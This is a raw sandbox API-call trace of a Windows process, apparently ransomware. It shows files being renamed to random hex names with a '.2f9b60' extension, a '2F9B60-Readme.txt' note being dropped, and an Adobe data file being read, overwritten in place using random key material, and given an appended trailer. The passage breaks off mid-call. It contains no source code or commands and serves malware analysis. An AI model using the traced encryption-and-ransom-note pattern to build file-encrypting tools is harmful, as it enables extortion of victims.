0x20266c00 [0188.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c00) returned 1 [0188.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0188.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x203fae40 [0188.190] sprintf (in: _Dest=0x203fae40, _Format="%c%c" | out: _Dest="57") returned 2 [0188.190] sprintf (in: _Dest=0x203fae42, _Format="%c%c" | out: _Dest="bf") returned 2 [0188.190] sprintf (in: _Dest=0x203fae44, _Format="%c%c" | out: _Dest="75") returned 2 [0188.190] sprintf (in: _Dest=0x203fae46, _Format="%c%c" | out: _Dest="74") returned 2 [0188.190] sprintf (in: _Dest=0x203fae48, _Format="%c%c" | out: _Dest="f7") returned 2 [0188.190] sprintf (in: _Dest=0x203fae4a, _Format="%c%c" | out: _Dest="28") returned 2 [0188.190] sprintf (in: _Dest=0x203fae4c, _Format="%c%c" | out: _Dest="26") returned 2 [0188.190] sprintf (in: _Dest=0x203fae4e, _Format="%c%c" | out: _Dest="28") returned 2 [0188.190] sprintf (in: _Dest=0x203fae50, _Format="%c%c" | out: _Dest="32") returned 2 [0188.190] sprintf (in: _Dest=0x203fae52, _Format="%c%c" | out: _Dest="8c") returned 2 [0188.190] sprintf (in: _Dest=0x203fae54, _Format="%c%c" | out: _Dest="c5") returned 2 [0188.190] sprintf (in: _Dest=0x203fae56, _Format="%c%c" | out: _Dest="b2") returned 2 [0188.190] sprintf (in: _Dest=0x203fae58, _Format="%c%c" | out: _Dest="ce") returned 2 [0188.190] sprintf (in: _Dest=0x203fae5a, _Format="%c%c" | out: _Dest="98") returned 2 [0188.190] sprintf (in: _Dest=0x203fae5c, _Format="%c%c" | out: _Dest="76") returned 2 [0188.190] sprintf (in: _Dest=0x203fae5e, _Format="%c%c" | out: _Dest="ce") returned 2 [0188.190] sprintf (in: _Dest=0x203fae60, _Format="%c%c" | out: _Dest="1c") returned 2 [0188.190] sprintf (in: _Dest=0x203fae62, _Format="%c%c" | out: _Dest="bf") returned 2 [0188.190] sprintf (in: _Dest=0x203fae64, _Format="%c%c" | out: _Dest="58") returned 2 [0188.191] sprintf (in: _Dest=0x203fae66, _Format="%c%c" | out: _Dest="9f") returned 2 [0188.191] sprintf (in: _Dest=0x203fae68, _Format="%c%c" | out: _Dest="66") returned 2 [0188.191] sprintf (in: _Dest=0x203fae6a, _Format="%c%c" | out: _Dest="28") returned 2 [0188.191] sprintf (in: _Dest=0x203fae6c, _Format="%c%c" | out: _Dest="c6") returned 2 [0188.191] sprintf (in: _Dest=0x203fae6e, _Format="%c%c" | out: _Dest="d8") returned 2 [0188.191] sprintf (in: _Dest=0x203fae70, _Format="%c%c" | out: _Dest="f3") returned 2 [0188.191] sprintf (in: _Dest=0x203fae72, _Format="%c%c" | out: _Dest="58") returned 2 [0188.191] sprintf (in: _Dest=0x203fae74, _Format="%c%c" | out: _Dest="c6") returned 2 [0188.191] sprintf (in: _Dest=0x203fae76, _Format="%c%c" | out: _Dest="5b") returned 2 [0188.191] sprintf (in: _Dest=0x203fae78, _Format="%c%c" | out: _Dest="41") returned 2 [0188.191] sprintf (in: _Dest=0x203fae7a, _Format="%c%c" | out: _Dest="16") returned 2 [0188.191] sprintf (in: _Dest=0x203fae7c, _Format="%c%c" | out: _Dest="c3") returned 2 [0188.191] sprintf (in: _Dest=0x203fae7e, _Format="%c%c" | out: _Dest="4e") returned 2 [0188.191] sprintf (in: _Dest=0x203fae80, _Format="%c%c" | out: _Dest="a8") returned 2 [0188.191] sprintf (in: _Dest=0x203fae82, _Format="%c%c" | out: _Dest="00") returned 2 [0188.191] sprintf (in: _Dest=0x203fae84, _Format="%c%c" | out: _Dest="86") returned 2 [0188.191] sprintf (in: _Dest=0x203fae86, _Format="%c%c" | out: _Dest="51") returned 2 [0188.191] sprintf (in: _Dest=0x203fae88, _Format="%c%c" | out: _Dest="aa") returned 2 [0188.191] sprintf (in: _Dest=0x203fae8a, _Format="%c%c" | out: _Dest="8f") returned 2 [0188.191] sprintf (in: _Dest=0x203fae8c, _Format="%c%c" | out: _Dest="54") returned 2 [0188.191] sprintf (in: _Dest=0x203fae8e, _Format="%c%c" | out: _Dest="e2") returned 2 [0188.192] sprintf (in: _Dest=0x203fae90, _Format="%c%c" | out: _Dest="3e") returned 2 [0188.192] sprintf (in: _Dest=0x203fae92, _Format="%c%c" | out: _Dest="5e") returned 2 [0188.192] sprintf (in: _Dest=0x203fae94, _Format="%c%c" | out: _Dest="12") returned 2 [0188.192] sprintf (in: _Dest=0x203fae96, _Format="%c%c" | out: _Dest="88") returned 2 [0188.192] sprintf (in: _Dest=0x203fae98, _Format="%c%c" | out: _Dest="a5") returned 2 [0188.192] sprintf (in: _Dest=0x203fae9a, _Format="%c%c" | out: _Dest="f4") returned 2 [0188.192] RtlInitAnsiString (in: DestinationString=0x2ef8fb68, SourceString="57bf7574f7282628328cc5b2ce9876ce1cbf589f6628c6d8f358c65b4116c34ea8008651aa8f54e23e5e1288a5f4" | out: DestinationString="57bf7574f7282628328cc5b2ce9876ce1cbf589f6628c6d8f358c65b4116c34ea8008651aa8f54e23e5e1288a5f4") [0188.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ef8fb38, SourceString="57bf7574f7282628328cc5b2ce9876ce1cbf589f6628c6d8f358c65b4116c34ea8008651aa8f54e23e5e1288a5f4", AllocateDestinationString=1 | out: DestinationString="57bf7574f7282628328cc5b2ce9876ce1cbf589f6628c6d8f358c65b4116c34ea8008651aa8f54e23e5e1288a5f4") returned 0x0 [0188.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1194b0 [0188.193] RtlFreeAnsiString (AnsiString="5") [0188.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fae40) returned 1 [0188.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fb30) returned 1 [0188.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c30) returned 1 [0188.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c214c0) returned 1 [0188.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0188.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0188.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74d0) returned 1 [0188.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d10) returned 1 [0188.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267bc0) returned 1 [0188.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c80) returned 1 [0188.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8630c0 [0188.198] wcscat (in: _Dest=0x1b8630c0, _Source="57bf7574f7282628328cc5b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\57bf7574f7282628328cc5b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\57bf7574f7282628328cc5b" [0188.199] wcscat (in: _Dest=0x1b8630c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\57bf7574f7282628328cc5b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\57bf7574f7282628328cc5b.2f9b60" [0188.199] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\57bf7574f7282628328cc5b.2f9b60", NtPathName=0x2ef8fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\57bf7574f7282628328cc5b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119240 [0201.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0201.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c13250) returned 1 [0201.212] NtQueryInformationFile (in: FileHandle=0x1cb4, IoStatusBlock=0x2ef8fb78, FileInformation=0x2ef8fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ef8fb78, FileInformation=0x2ef8fb88) returned 0x0 [0201.212] NtSetInformationFile (FileHandle=0x1cb4, IoStatusBlock=0x2ef8fb78, FileInformation=0x2ef8fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8630c0) returned 1 [0209.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1194b0) returned 1 [0209.496] FlushFileBuffers (hFile=0x1cb4) returned 1 [0209.601] CloseHandle (hObject=0x1cb4) returned 1 [0217.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4318b760 [0217.580] wcscpy (in: _Dest=0x4318b760, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0217.580] wcscat (in: _Dest=0x4318b760, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0217.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\2f9b60-readme.txt")) returned 0xffffffff [0220.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2714 [0224.311] WriteFile (in: hFile=0x2714, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2ef8fa30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2ef8fa30*=0xba9, lpOverlapped=0x0) returned 1 [0225.105] CloseHandle (hObject=0x2714) returned 1 [0226.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318b760) returned 1 [0226.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862250) returned 1 Thread: id = 1937 os_tid = 0x110c [0134.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79df70 [0134.749] wcscpy (in: _Dest=0x1b79df70, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0134.749] wcscat (in: _Dest=0x1b79df70, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" [0134.749] wcscat (in: _Dest=0x1b79df70, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*" [0134.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce562f0 [0134.749] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858d90 [0134.750] wcscmp (_String1=".", _String2=".") returned 0 [0134.750] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.750] wcscmp (_String1="..", _String2=".") returned 1 [0134.750] wcscmp (_String1="..", _String2="..") returned 0 [0134.750] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1 [0134.750] wcscmp (_String1="directories.acrodata", _String2=".") returned 1 [0134.750] wcscmp (_String1="directories.acrodata", _String2="..") returned 1 [0134.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20508db0 [0134.751] wcscpy (in: _Dest=0x20508db0, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0134.751] wcscat (in: _Dest=0x20508db0, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" [0134.751] wcscat (in: _Dest=0x20508db0, _Source="directories.acrodata" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" [0151.547] GetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata")) returned 0x2020 [0151.547] SetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", dwFileAttributes=0x20) [0194.913] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1654 [0194.915] GetFileSizeEx (in: hFile=0x1654, lpFileSize=0x2f19fd40 | out: lpFileSize=0x2f19fd40*=479) returned 1 [0194.916] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x1db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.916] ReadFile (in: hFile=0x1654, lpBuffer=0x2f19fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f19fd08, lpOverlapped=0x0 | out: lpBuffer=0x2f19fcc0*, lpNumberOfBytesRead=0x2f19fd08*=0x4, lpOverlapped=0x0) returned 1 [0194.918] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f510 [0194.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f690 [0194.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f660 [0194.919] NtQuerySystemTime (in: CurrentTime=0x2f19fc00 | out: CurrentTime=0x2f19fc00*=132462178000150000) returned 0x0 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x2b74f773 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x1c93e2c1 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x486c90f5 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x4e5e2ad8 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x4bc0b3b8 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x13da79c4 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x587d66e5 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x4fea3abc [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x7d9a0e2d [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x41184ae [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x35462b9e [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x2082203e [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x6c62a27b [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x10ab334a [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x3630b641 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0xed73fa5 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0xe46e4de [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x36d9bb63 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x24b0d2c6 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x38c76da7 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x58ef86c [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x6227f04 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x7a0dab02 [0194.919] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x70d113c9 [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x407d72bf [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x145b961d [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x535c7dc4 [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x2dba5595 [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x685315bf [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x2c735cc9 [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x412082c6 [0194.920] RtlRandomEx (in: Seed=0x2f19fbf0 | out: Seed=0x2f19fbf0) returned 0x15a6aec9 [0194.928] ReadFile (in: hFile=0x1654, lpBuffer=0x41fc0d80, nNumberOfBytesToRead=0x1df, lpNumberOfBytesRead=0x2f19fbf0, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesRead=0x2f19fbf0*=0x1df, lpOverlapped=0x0) returned 1 [0194.930] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.930] WriteFile (in: hFile=0x1654, lpBuffer=0x41f9b4e0*, nNumberOfBytesToWrite=0x1df, lpNumberOfBytesWritten=0x2f19fbf4, lpOverlapped=0x0 | out: lpBuffer=0x41f9b4e0*, lpNumberOfBytesWritten=0x2f19fbf4*=0x1df, lpOverlapped=0x0) returned 1 [0199.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860e10 [0199.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860d80 [0199.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860d80) returned 1 [0199.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9b4e0) returned 1 [0199.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0199.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0199.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0199.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5e370 [0199.476] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.535] WriteFile (in: hFile=0x1654, lpBuffer=0x42c21390*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2f19fd10, lpOverlapped=0x0 | out: lpBuffer=0x42c21390*, lpNumberOfBytesWritten=0x2f19fd10*=0x11a, lpOverlapped=0x0) returned 1 [0203.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0203.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c80 [0203.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c80) returned 1 [0203.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20263c80 [0203.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261940 [0203.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e20 [0203.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e20) returned 1 [0203.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0203.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b7cea00 [0203.846] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="35") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="12") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="5e") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="00") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="67") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="82") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="6b") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="97") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="60") returned 2 [0203.846] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="6d") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="e3") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="a8") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="68") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="ff") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="c5") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="97") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="43") returned 2 [0203.847] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="78") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="47") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="52") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="f7") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="c7") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="c2") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="14") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="34") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="79") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="33") returned 2 [0203.848] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="8c") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="88") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="f1") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="46") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="8a") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="4a") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="17") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="ce") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="a0") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="41") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="e2") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea4c, _Format="%c%c" | out: _Dest="a5") returned 2 [0203.849] sprintf (in: _Dest=0x1b7cea4e, _Format="%c%c" | out: _Dest="6a") returned 2 [0203.849] RtlInitAnsiString (in: DestinationString=0x2f19fd88, SourceString="35125e0067826b97606de3a868ffc59743784752f7c7c2143479338c88f1468a4a17cea041e2a56a" | out: DestinationString="35125e0067826b97606de3a868ffc59743784752f7c7c2143479338c88f1468a4a17cea041e2a56a") [0203.849] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f19fd58, 